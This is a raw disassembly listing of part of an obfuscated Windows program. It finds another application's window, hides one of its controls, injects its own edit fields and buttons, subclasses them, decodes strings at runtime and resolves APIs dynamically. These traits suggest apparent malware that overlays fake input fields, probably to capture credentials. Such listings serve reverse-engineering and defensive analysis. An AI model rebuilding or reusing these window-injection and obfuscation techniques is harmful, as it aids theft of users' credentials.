		add	eax, 0Ch
		cmp	esi, eax
		jb	short loc_43DE6F
		mov	eax, dword_44A120
		mov	ebx, eax
		add	ebx, dword_44A15C
		sub	ebx, 0Dh
		jmp	short loc_43DEF6
; ---------------------------------------------------------------------------


loc_43DED8:				; CODE XREF: sub_43DB8B+375j
		movsx	eax, [ebp+ebx+var_FF]
		sub	eax, 30h
		add	[ebp-108h], eax
		mov	eax, dword_44A190
		add	eax, dword_44A18C
		add	ebx, eax


loc_43DEF6:				; CODE XREF: sub_43DB8B+34Bj
		mov	eax, dword_44A094
		add	eax, 0Ah
		cmp	ebx, eax
		jb	short loc_43DED8
		mov	eax, [ebp-108h]
		mov	ecx, 0Ah
		xor	edx, edx
		div	ecx
		movsx	edi, word_44A1A4
		add	edi, dword_44A11C
		sub	edi, 0Ch
		cmp	edx, edi
		jnz	loc_43EBBA
		lea	eax, [ebp+var_FF]
		push	eax
		call	ds:dword_449774
		pop	ecx
		or	eax, eax
		jnz	loc_43EBBA
		mov	esi, dword_44A1F8
		sub	esi, 3
		mov	eax, dword_44A1D0
		mov	esi, eax
		add	esi, dword_44A284
		sub	esi, 10h
		jmp	short loc_43DF72
; ---------------------------------------------------------------------------


loc_43DF5A:				; CODE XREF: sub_43DB8B+3F7j
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_264], eax
		cmp	ds:dword_447370[eax], 0
		jz	short loc_43DF84
		inc	esi


loc_43DF72:				; CODE XREF: sub_43DB8B+3CDj
		mov	eax, dword_44A220
		add	eax, 5Eh
		add	eax, dword_44A1D4
		cmp	esi, eax
		jb	short loc_43DF5A


loc_43DF84:				; CODE XREF: sub_43DB8B+3E4j
		mov	eax, dword_44A0AC
		add	eax, 63h
		cmp	esi, eax
		jz	loc_43EBBA
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_268], eax
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_268]
		mov	ds:dword_447370[edx], eax
		push	offset byte_44B081
		call	sub_43C507
		pop	ecx
		push	0
		push	eax
		push	0
		push	[ebp+arg_4]
		call	ds:dword_44963C	; FindWindowExA
		mov	[ebp+var_134], eax
		test	eax, eax
		jnz	short loc_43DFDD
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_134], eax


loc_43DFDD:				; CODE XREF: sub_43DB8B+447j
		push	offset asc_44B074 ; "\t"
		call	sub_43C507
		push	eax
		push	[ebp+var_134]
		call	sub_43F6E3
		mov	[ebp+var_12C], eax
		push	offset asc_44B068 ; "\b"
		call	sub_43C507
		push	eax
		push	[ebp+var_12C]
		call	sub_43F6E3
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_26C], eax
		mov	ebx, eax
		mov	ds:dword_447374[ebx], edi
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_270], eax
		push	ds:dword_447374[eax]
		call	ds:dword_44965C	; ShowWindow
		lea	eax, [ebp+var_11C]
		push	eax
		push	[ebp+var_12C]
		call	ds:dword_449654	; GetWindowRect
		push	0
		call	ds:dword_4465E8	; GetModuleHandleA
		mov	[ebp+var_10C], eax
		push	offset word_44B05E
		call	sub_43C507
		add	esp, 1Ch
		push	0
		push	[ebp+var_10C]
		push	0
		push	[ebp+var_12C]
		mov	edi, [ebp+var_110]
		sub	edi, [ebp+var_118]
		push	edi
		mov	edi, [ebp+var_114]
		sub	edi, [ebp+var_11C]
		push	edi
		mov	edi, dword_44A1F8
		sub	edi, 3
		push	edi
		movsx	edi, word_44A178
		sub	edi, 4
		push	edi
		push	50800000h
		lea	edi, [ebp+var_FF]
		push	edi
		push	eax
		push	200h
		call	ds:dword_44864C	; CreateWindowExA
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_274], eax
		mov	ebx, eax
		mov	ds:dword_447378[ebx], edi
		mov	edi, [ebp+var_110]
		sub	edi, [ebp+var_118]
		movsx	ebx, word_44A240
		mov	edx, dword_44A0F0
		lea	ebx, [ebx+edx+0F7h]
		sub	edi, ebx
		mov	ebx, dword_44A248
		add	ebx, 37h
		add	ebx, dword_44A200
		mov	eax, edi
		sub	eax, ebx
		xor	edx, edx
		test	eax, eax
		setl	dl
		add	eax, edx
		sar	eax, 1
		mov	[ebp+var_124], eax
		mov	eax, dword_44A0B4
		movsx	edx, word_44A1E0
		add	eax, edx
		sub	eax, 0Bh
		cmp	[ebp+var_124], eax
		jge	short loc_43E14D
		mov	eax, dword_44A128
		sub	eax, 8
		mov	[ebp+var_124], eax


loc_43E14D:				; CODE XREF: sub_43DB8B+5B2j
		mov	eax, [ebp+var_114]
		sub	eax, [ebp+var_11C]
		movsx	edx, word_44A1A4
		movsx	ecx, word_44A180
		lea	edx, [edx+ecx+22h]
		sub	eax, edx
		mov	[ebp+var_120], eax
		push	offset dword_44B054
		call	sub_43C507
		mov	[ebp+var_278], eax
		push	offset byte_44B03B
		call	sub_43C507
		mov	[ebp+var_27C], eax
		push	0
		push	[ebp+var_10C]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_280], eax
		mov	edi, eax
		push	ds:dword_447378[edi]
		movsx	edi, word_44A230
		add	edi, 36h
		push	edi
		push	[ebp+var_120]
		push	[ebp+var_124]
		movsx	edi, word_44A0BC
		mov	ebx, dword_44A1CC
		lea	edi, [edi+ebx+5]
		push	edi
		push	50800000h
		mov	edi, [ebp+var_27C]
		push	edi
		mov	edi, [ebp+var_278]
		push	edi
		mov	edi, dword_44A1D4
		add	edi, dword_44A21C
		sub	edi, 0Ah
		push	edi
		call	ds:dword_44864C	; CreateWindowExA
		mov	[ebp+var_138], eax
		push	offset byte_44B031
		call	sub_43C507
		mov	[ebp+var_284], eax
		push	offset byte_44B02D
		call	sub_43C507
		mov	[ebp+var_288], eax
		push	0
		push	[ebp+var_10C]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_28C], eax
		mov	edi, eax
		push	ds:dword_447378[edi]
		movsx	edi, word_44A24C
		mov	ebx, dword_44A1D0
		lea	edi, [edi+ebx+0EAh]
		push	edi
		push	[ebp+var_120]
		mov	edi, [ebp+var_124]
		mov	ebx, dword_44A108
		add	ebx, 36h
		add	edi, ebx
		mov	ebx, dword_44A0D4
		movsx	edx, word_44A178
		add	ebx, edx
		sub	ebx, 9
		add	edi, ebx
		push	edi
		mov	edi, dword_44A0EC
		add	edi, 10h
		push	edi
		push	50800009h
		mov	edi, [ebp+var_288]
		push	edi
		mov	edi, [ebp+var_284]
		push	edi
		mov	edi, dword_44A210
		dec	edi
		push	edi
		call	ds:dword_44864C	; CreateWindowExA
		mov	[ebp+var_13C], eax
		push	0
		push	2
		push	0
		push	0
		push	5
		push	1
		mov	eax, dword_44A0B8
		sub	eax, 3
		push	eax
		mov	eax, dword_44A1EC
		add	eax, dword_44A1B8
		sub	eax, 0Dh
		push	eax
		movsx	eax, word_44A22C
		movsx	edx, word_44A1E0
		add	eax, edx
		sub	eax, 0Ah
		push	eax
		push	2BCh
		mov	eax, dword_44A20C
		sub	eax, 6
		push	eax
		mov	eax, dword_44A0F0
		dec	eax
		push	eax
		mov	eax, dword_44A0E4
		dec	eax
		push	eax
		mov	eax, dword_44A204
		add	eax, 0Dh
		add	eax, dword_44A19C
		push	eax
		call	ds:dword_447250	; CreateFontA
		mov	[ebp+var_140], eax
		push	1
		push	eax
		push	30h
		push	[ebp+var_138]
		call	ds:dword_444014	; SendMessageA
		push	offset byte_44B023
		call	sub_43C507
		mov	[ebp+var_290], eax
		push	offset word_44B01E
		call	sub_43C507
		add	esp, 18h
		push	0
		push	[ebp+var_10C]
		push	0
		push	[ebp+var_13C]
		movsx	edi, word_44A240
		add	edi, 0F8h
		mov	ebx, dword_44A204
		movsx	edx, word_44A124
		add	ebx, edx
		sub	ebx, 3
		sub	edi, ebx
		push	edi
		mov	edi, [ebp+var_120]
		mov	ebx, dword_44A1CC
		sub	ebx, 2
		sub	edi, ebx
		push	edi
		movsx	edi, word_44A16C
		movsx	ebx, word_44A150
		add	edi, ebx
		sub	edi, 8
		push	edi
		movsx	edi, word_44A1C0
		movsx	ebx, word_44A0C0
		add	edi, ebx
		sub	edi, 5
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp+var_290]
		push	edi
		mov	edi, dword_44A0E4
		add	edi, dword_44A268
		sub	edi, 0Dh
		push	edi
		call	ds:dword_44864C	; CreateWindowExA
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_294], eax
		mov	ebx, eax
		mov	ds:dword_44737C[ebx], edi
		mov	eax, dword_44A0E4
		cmp	[ebp+eax+var_108], 34h
		jnz	short loc_43E42A
		push	offset word_44B016
		call	sub_43C507
		pop	ecx
		push	eax
		lea	edi, [ebp+var_253]
		push	edi
		call	sub_442F8C
		jmp	short loc_43E442
; ---------------------------------------------------------------------------


loc_43E42A:				; CODE XREF: sub_43DB8B+883j
		push	offset aM_0	; "\nM"
		call	sub_43C507
		pop	ecx
		push	eax
		lea	edi, [ebp+var_253]
		push	edi
		call	sub_442F8C


loc_43E442:				; CODE XREF: sub_43DB8B+89Dj
		push	offset word_44AF96
		call	sub_43C507
		lea	edi, [ebp+var_FF]
		push	edi
		lea	edi, [ebp+var_253]
		push	edi
		push	eax
		lea	edi, [ebp+var_23F]
		push	edi
		call	ds:dword_449634
		push	offset dword_44AF8C
		call	sub_43C507
		mov	[ebp+var_298], eax
		push	0
		push	[ebp+var_10C]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_29C], eax
		mov	edi, eax
		push	ds:dword_44737C[edi]
		mov	edi, dword_44A164
		add	edi, 2Ch
		push	edi
		push	[ebp+var_120]
		mov	edi, dword_44A1E4
		add	edi, 6
		push	edi
		mov	edi, dword_44A244
		movsx	ebx, word_44A0B0
		add	edi, ebx
		dec	edi
		push	edi
		push	50000000h
		lea	edi, [ebp+var_23F]
		push	edi
		mov	edi, [ebp+var_298]
		push	edi
		mov	edi, dword_44A188
		add	edi, dword_44A090
		sub	edi, 3
		push	edi
		call	ds:dword_44864C	; CreateWindowExA
		mov	[ebp+var_258], eax
		push	0
		push	2
		push	0
		push	0
		push	5
		push	1
		mov	eax, dword_44A19C
		sub	eax, 6
		push	eax
		mov	eax, dword_44A158
		sub	eax, 9
		push	eax
		movsx	eax, word_44A0D0
		sub	eax, 7
		push	eax
		push	190h
		movsx	eax, word_44A208
		add	eax, dword_44A120
		sub	eax, 0Ah
		push	eax
		mov	eax, dword_44A1AC
		add	eax, dword_44A23C
		sub	eax, 0Ah
		push	eax
		mov	eax, dword_44A1D0
		add	eax, dword_44A0AC
		sub	eax, 2
		push	eax
		mov	eax, dword_44A220
		add	eax, 0Ch
		push	eax
		call	ds:dword_447250	; CreateFontA
		mov	[ebp+var_130], eax
		push	1
		push	eax
		push	30h
		push	[ebp+var_258]
		call	ds:dword_444014	; SendMessageA
		push	offset dword_44AF80
		call	sub_43C507
		mov	[ebp+var_2A0], eax
		push	offset dword_44AF7C
		call	sub_43C507
		mov	[ebp+var_2A4], eax
		push	0
		push	[ebp+var_10C]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2A8], eax
		mov	edi, eax
		push	ds:dword_44737C[edi]
		mov	edi, dword_44A200
		add	edi, 11Fh
		add	edi, dword_44A1EC
		push	edi
		mov	edi, dword_44A1B8
		add	edi, 2Dh
		push	edi
		mov	edi, dword_44A0F0
		add	edi, 45h
		movsx	ebx, word_44A208
		add	edi, ebx
		push	edi
		movsx	edi, word_44A118
		add	edi, dword_44A254
		sub	edi, 2
		push	edi
		push	50800003h
		mov	edi, [ebp+var_2A4]
		push	edi
		mov	edi, [ebp+var_2A0]
		push	edi
		mov	edi, dword_44A168
		add	edi, dword_44A12C
		sub	edi, 8
		push	edi
		call	ds:dword_44864C	; CreateWindowExA
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2AC], eax
		mov	ebx, eax
		mov	ds:dword_447380[ebx], edi
		push	offset dword_44AF70
		call	sub_43C507
		mov	[ebp+var_2B0], eax
		push	offset dword_44AF6C
		call	sub_43C507
		add	esp, 28h
		mov	[ebp+var_2B4], eax
		push	0
		push	[ebp+var_10C]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2B8], eax
		mov	edi, eax
		push	ds:dword_44737C[edi]
		mov	edi, dword_44A1B0
		add	edi, 125h
		push	edi
		mov	edi, dword_44A1AC
		add	edi, 34h
		add	edi, dword_44A1A0
		push	edi
		mov	edi, dword_44A25C
		add	edi, 41h
		add	edi, dword_44A1D4
		push	edi
		mov	edi, dword_44A120
		lea	edi, [edi+edi+3Ch]
		push	edi
		push	50800003h
		mov	edi, [ebp+var_2B4]
		push	edi
		mov	edi, [ebp+var_2B0]
		push	edi
		movsx	edi, word_44A0E0
		add	edi, dword_44A108
		sub	edi, 7
		push	edi
		call	ds:dword_44864C	; CreateWindowExA
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2BC], eax
		mov	ebx, eax
		mov	ds:dword_447384[ebx], edi
		movsx	eax, word_44A0E8
		add	eax, dword_44A1F8
		sub	eax, 3
		mov	[ebp+var_102], ax
		jmp	loc_43E7D6
; ---------------------------------------------------------------------------


loc_43E710:				; CODE XREF: sub_43DB8B+C5Ej
		push	offset dword_44AF64
		call	sub_43C507
		movzx	edi, [ebp+var_102]
		push	edi
		push	eax
		lea	edi, [ebp+var_2C6]
		push	edi
		call	ds:dword_449634
		lea	eax, [ebp+var_2C6]
		push	eax
		movsx	eax, word_44A208
		movsx	edx, word_44A124
		add	eax, edx
		sub	eax, 0Bh
		push	eax
		push	143h
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2CC], eax
		push	ds:dword_447380[eax]
		call	ds:dword_444014	; SendMessageA
		push	offset word_44AF5A
		call	sub_43C507
		movzx	edi, [ebp+var_102]
		movsx	ebx, word_44A0E0
		lea	edi, [edi+ebx+5]
		push	edi
		push	eax
		lea	edi, [ebp+var_2C6]
		push	edi
		call	ds:dword_449634
		add	esp, 20h
		lea	eax, [ebp+var_2C6]
		push	eax
		movsx	eax, word_44A0A4
		add	eax, dword_44A134
		sub	eax, 0Eh
		push	eax
		push	143h
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2D0], eax
		push	ds:dword_447384[eax]
		call	ds:dword_444014	; SendMessageA
		inc	[ebp+var_102]


loc_43E7D6:				; CODE XREF: sub_43DB8B+B80j
		movzx	eax, [ebp+var_102]
		movsx	edx, word_44A208
		add	edx, 8
		cmp	eax, edx
		jl	loc_43E710
		push	offset word_44AF52
		call	sub_43C507
		mov	[ebp+var_2C0], eax
		push	offset word_44AF4E
		call	sub_43C507
		mov	[ebp+var_2C4], eax
		push	0
		push	[ebp+var_10C]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp-2C8h], eax
		mov	edi, eax
		push	ds:dword_44737C[edi]
		mov	edi, dword_44A204
		add	edi, 17h
		push	edi
		movsx	edi, word_44A0BC
		mov	ebx, dword_44A1D8
		lea	edi, [edi+ebx+43h]
		push	edi
		mov	edi, dword_44A1EC
		add	edi, 74h
		push	edi
		mov	edi, dword_44A1F4
		add	edi, 2Bh
		push	edi
		push	50800000h
		mov	edi, [ebp+var_2C4]
		push	edi
		mov	edi, [ebp+var_2C0]
		push	edi
		push	200h
		call	ds:dword_44864C	; CreateWindowExA
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2CC], eax
		mov	ebx, eax
		mov	ds:dword_447388[ebx], edi
		mov	eax, dword_44A1D4
		sub	eax, 2
		push	eax
		push	58h
		push	0CCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2D0], eax
		push	ds:dword_447388[eax]
		call	ds:dword_444014	; SendMessageA
		push	offset dword_44AF44
		call	sub_43C507
		mov	[ebp+var_2D4], eax
		push	offset word_44AF22
		call	sub_43C507
		mov	[ebp+var_2D8], eax
		push	0
		push	[ebp+var_10C]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2DC], eax
		mov	edi, eax
		push	ds:dword_44737C[edi]
		movsx	edi, word_44A27C
		add	edi, 3Ch
		push	edi
		push	[ebp+var_120]
		movsx	edi, word_44A100
		add	edi, 4Ch
		push	edi
		movsx	edi, word_44A0C0
		add	edi, 94h
		push	edi
		push	50000000h
		mov	edi, [ebp+var_2D8]
		push	edi
		mov	edi, [ebp+var_2D4]
		push	edi
		movsx	edi, word_44A1E0
		movsx	ebx, word_44A174
		add	edi, ebx
		sub	edi, 0Ah
		push	edi
		call	ds:dword_44864C	; CreateWindowExA
		mov	[ebp+var_25C], eax
		push	1
		push	[ebp+var_130]
		push	30h
		push	eax
		call	ds:dword_444014	; SendMessageA
		push	offset dword_44AF18
		call	sub_43C507
		mov	[ebp+var_2E0], eax
		push	offset word_44AEFE
		call	sub_43C507
		add	esp, 18h
		mov	[ebp+var_2E4], eax
		push	0
		push	[ebp+var_10C]
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2E8], eax
		mov	edi, eax
		push	ds:dword_44737C[edi]
		movsx	edi, word_44A150
		mov	ebx, dword_44A288
		lea	edi, [edi+ebx+9]
		push	edi
		mov	edi, dword_44A1E4
		add	edi, 97h
		push	edi
		mov	edi, dword_44A1B0
		add	edi, 0F1h
		add	edi, dword_44A278
		mov	ebx, dword_44A198
		add	ebx, 1Eh
		movsx	edx, word_44A1E0
		add	ebx, edx
		sub	edi, ebx
		push	edi
		movsx	edi, word_44A0D0
		add	edi, 3
		push	edi
		push	50800000h
		mov	edi, [ebp+var_2E4]
		push	edi
		mov	edi, [ebp+var_2E0]
		push	edi
		mov	edi, dword_44A17C
		sub	edi, 5
		push	edi
		call	ds:dword_44864C	; CreateWindowExA
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2EC], eax
		mov	ebx, eax
		mov	ds:dword_44738C[ebx], edi
		push	1
		push	[ebp+var_130]
		mov	eax, 30h
		push	30h
		mul	esi
		mov	[ebp+var_2F0], eax
		push	ds:dword_44738C[eax]
		call	ds:dword_444014	; SendMessageA
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2F4], eax
		mov	[ebp+var_2F8], eax
		push	ds:dword_447380[eax]
		call	ds:dword_449628	; GetWindowLongA
		mov	edi, [ebp+var_2F8]
		mov	ds:dword_447390[edi], eax
		push	offset sub_43F9F6
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2FC], eax
		push	ds:dword_447380[eax]
		call	ds:dword_4465FC	; SetWindowLongA
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_300], eax
		mov	[ebp+var_304], eax
		push	ds:dword_447384[eax]
		call	ds:dword_449628	; GetWindowLongA
		mov	edi, [ebp+var_304]
		mov	ds:dword_447394[edi], eax
		push	offset sub_43F9F6
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_308], eax
		push	ds:dword_447384[eax]
		call	ds:dword_4465FC	; SetWindowLongA
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_30C], eax
		mov	[ebp+var_310], eax
		push	ds:dword_447388[eax]
		call	ds:dword_449628	; GetWindowLongA
		mov	edi, [ebp+var_310]
		mov	ds:dword_447398[edi], eax
		push	offset sub_43F9F6
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_314], eax
		push	ds:dword_447388[eax]
		call	ds:dword_4465FC	; SetWindowLongA
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_318], eax
		mov	[ebp+var_31C], eax
		push	ds:dword_44737C[eax]
		call	ds:dword_449628	; GetWindowLongA
		mov	edi, [ebp+var_31C]
		mov	ds:dword_44739C[edi], eax
		push	offset sub_43F9F6
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_320], eax
		push	ds:dword_44737C[eax]
		call	ds:dword_4465FC	; SetWindowLongA
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_324], eax
		push	ds:dword_447380[eax]
		call	ds:dword_446A40	; SetFocus


loc_43EBBA:				; CODE XREF: sub_43DB8B+10j
					; sub_43DB8B+21j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43DB8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43EBBF	proc near		; DATA XREF: .data:0044A35Co
		push	ebp
		mov	ebp, esp
		mov	eax, dword_44A20C
		add	eax, dword_44A198
		sub	eax, 8
		cmp	ds:dword_449784, eax
		jbe	short loc_43EBE3
		push	offset dword_449784
		call	ds:dword_444010	; InterlockedDecrement


loc_43EBE3:				; CODE XREF: sub_43EBBF+17j
		mov	eax, ds:dword_449784
		pop	ebp
		retn	4
sub_43EBBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43EBEC	proc near		; DATA XREF: sub_43EC0A+16Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_446618	; DefWindowProcA
		pop	edi
		pop	ebp
		retn	10h
sub_43EBEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43EC0A	proc near		; DATA XREF: sub_44083E+Co
					; sub_44083E+299o

var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= byte ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= byte ptr -144h
var_143		= byte ptr -143h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 15Ch
		push	ebx
		push	esi
		push	edi
		call	sub_439DDE
		call	sub_43B4B3
		call	sub_43B3CC
		call	sub_4394DD
		call	sub_440D4B
		call	sub_43969E
		call	sub_43C26E
		call	sub_43C1C6
		call	sub_4397A3
		mov	esi, eax


loc_43EC45:				; CODE XREF: sub_43EC0A+97j
		call	sub_4396F6
		mov	edx, eax
		mov	[ebp+var_144], dl
		movzx	eax, [ebp+var_144]
		mov	edx, dword_44A0A0
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_43EC7D
		movsx	eax, word_44A1DC
		add	eax, dword_44A194
		sub	eax, 9
		push	eax
		call	ds:dword_449664	; ExitThread


loc_43EC7D:				; CODE XREF: sub_43EC0A+5Aj
		movzx	eax, [ebp+var_144]
		mov	edx, dword_44A1F8
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_43ECA3
		mov	eax, dword_44A228
		add	eax, 61h
		push	eax
		call	ds:dword_449630
		pop	ecx
		jmp	short loc_43EC45
; ---------------------------------------------------------------------------


loc_43ECA3:				; CODE XREF: sub_43EC0A+85j
		or	esi, esi
		jnz	loc_43ED5D
		push	offset byte_44AEF3
		call	sub_43C507
		mov	[ebp+var_154], eax
		push	offset byte_44AEE9
		call	sub_43C507
		push	eax
		mov	edx, [ebp+var_154]
		push	edx
		lea	edx, [ebp+var_143]
		push	edx
		call	ds:dword_449634
		lea	eax, [ebp+var_143]
		push	eax
		push	0
		push	0
		call	ds:dword_44961C	; CreateMutexA
		mov	ebx, eax
		push	offset byte_44AEDD
		call	sub_43C507
		mov	[ebp+var_158], eax
		push	offset byte_44AED3
		call	sub_43C507
		mov	edx, dword_44A234
		add	edx, dword_44A23C
		sub	edx, 7
		push	edx
		push	eax
		mov	edx, [ebp+var_158]
		push	edx
		lea	edx, [ebp+var_143]
		push	edx
		call	ds:dword_449634
		add	esp, 2Ch
		lea	eax, [ebp+var_143]
		push	eax
		push	0
		push	0
		call	ds:dword_44961C	; CreateMutexA
		mov	ebx, eax
		or	ebx, ebx
		jnz	short loc_43ED5D
		movsx	eax, word_44A0CC
		add	eax, dword_44A138
		sub	eax, 6
		push	eax
		call	ds:dword_449664	; ExitThread


loc_43ED5D:				; CODE XREF: sub_43EC0A+9Bj
					; sub_43EC0A+13Aj
		push	0
		call	ds:dword_4465E8	; GetModuleHandleA
		mov	edi, eax
		push	offset byte_44AEC9
		call	sub_43C507
		mov	[ebp+var_20], eax
		mov	[ebp+var_34], edi
		lea	eax, sub_43EBEC
		mov	[ebp+var_40], eax
		push	7F00h
		push	0
		call	ds:dword_447220	; LoadCursorA
		mov	[ebp+var_2C], eax
		push	7F03h
		push	0
		call	ds:dword_449620	; LoadIconA
		mov	[ebp+var_30], eax
		and	[ebp+var_24], 0
		push	0
		call	ds:dword_445120	; GetStockObject
		mov	[ebp+var_28], eax
		mov	[ebp+var_44], 3
		mov	eax, dword_44A1C4
		add	eax, dword_44A19C
		sub	eax, 0Bh
		mov	[ebp+var_3C], eax
		mov	eax, dword_44A108
		movsx	edx, word_44A0FC
		add	eax, edx
		sub	eax, 0Ch
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_44]
		push	eax
		call	ds:dword_4460DC	; RegisterClassA
		push	offset byte_44AEBF
		call	sub_43C507
		mov	[ebp+var_15C], eax
		push	offset byte_44AEB5
		call	sub_43C507
		push	0
		push	edi
		push	0
		push	0
		mov	edx, dword_44A228
		add	edx, dword_44A1D8
		sub	edx, 0Ch
		push	edx
		movsx	edx, word_44A124
		sub	edx, 6
		push	edx
		mov	edx, dword_44A214
		mov	ecx, edx
		sub	ecx, 9
		push	ecx
		movsx	ecx, word_44A0E0
		dec	ecx
		push	ecx
		push	0CA0000h
		push	eax
		mov	ecx, [ebp+var_15C]
		push	ecx
		mov	ecx, dword_44A254
		add	ecx, edx
		mov	edx, ecx
		sub	edx, 12h
		push	edx
		call	ds:dword_44864C	; CreateWindowExA
		mov	ds:dword_446610, eax
		lea	eax, [ebp+var_148]
		push	eax
		push	edi
		call	sub_43F122
		add	esp, 14h
		mov	[ebp+var_14C], eax
		mov	ds:off_449610, eax
		mov	eax, [ebp+var_148]
		mov	ds:dword_446614, eax
		or	esi, esi
		jnz	short loc_43EEA0
		call	sub_439B69
		mov	eax, dword_44A090
		add	eax, dword_44A110
		sub	eax, 8
		mov	ds:dword_449638, eax
		jmp	short loc_43EEB9
; ---------------------------------------------------------------------------


loc_43EEA0:				; CODE XREF: sub_43EC0A+27Aj
		movsx	eax, word_44A0C0
		mov	edx, dword_44A220
		lea	eax, [eax+edx+3A92h]
		mov	ds:dword_449638, eax


loc_43EEB9:				; CODE XREF: sub_43EC0A+294j
		lea	eax, [ebp+var_150]
		push	eax
		mov	eax, dword_44A1D8
		add	eax, dword_44A0DC
		sub	eax, 0Ch
		push	eax
		push	0
		push	offset sub_4399CB
		mov	eax, dword_44A21C
		add	eax, dword_44A224
		sub	eax, 0Dh
		push	eax
		push	0
		call	ds:dword_449B90	; CreateThread
		push	eax
		call	ds:dword_448654	; CloseHandle
		or	esi, esi
		jnz	short loc_43EF18
		call	sub_439B7B
		call	sub_43D6B1
		jmp	short loc_43EF18
; ---------------------------------------------------------------------------


loc_43EF04:				; CODE XREF: sub_43EC0A+330j
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_44977C	; TranslateMessage
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_444050	; DispatchMessageA


loc_43EF18:				; CODE XREF: sub_43EC0A+2ECj
					; sub_43EC0A+2F8j
		movsx	eax, word_44A174
		sub	eax, 7
		push	eax
		mov	eax, dword_44A134
		sub	eax, 8
		push	eax
		push	0
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_448630	; GetMessageA
		or	eax, eax
		jnz	short loc_43EF04
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_43EC0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_43EF43	proc near		; DATA XREF: .data:0044A3A4o
		mov	eax, 80004001h
		retn	8
sub_43EF43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43EF4B	proc near		; DATA XREF: .data:0044A358o
		push	ebp
		mov	ebp, esp
		push	offset dword_449784
		call	ds:dword_446A3C	; InterlockedIncrement
		mov	eax, ds:dword_449784
		pop	ebp
		retn	4
sub_43EF4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_43EF62	proc near		; CODE XREF: sub_44083E+25Cp
		push	edi
		push	offset byte_44AEA7
		call	sub_43C507
		pop	ecx
		push	eax
		call	ds:dword_4465E8	; GetModuleHandleA
		mov	dword_44A298, eax
		test	eax, eax
		jnz	short loc_43EF95
		push	offset byte_44AE99
		call	sub_43C507
		pop	ecx
		push	eax
		call	ds:dword_447244	; LoadLibraryA
		mov	dword_44A298, eax


loc_43EF95:				; CODE XREF: sub_43EF62+1Aj
		push	offset byte_44AE8F
		call	sub_43C507
		push	eax
		push	dword_44A298
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_449630, eax
		push	offset dword_44AE84
		call	sub_43C507
		push	eax
		push	dword_44A298
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_444030, eax
		push	offset dword_44AE7C
		call	sub_43C507
		push	eax
		push	dword_44A298
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_444054, eax
		push	offset dword_44AE74
		call	sub_43C507
		push	eax
		push	dword_44A298
		call	ds:dword_4461F8	; GetProcAddress
		mov	ds:dword_446A38, eax
		push	offset word_44AE6A
		call	sub_43C507
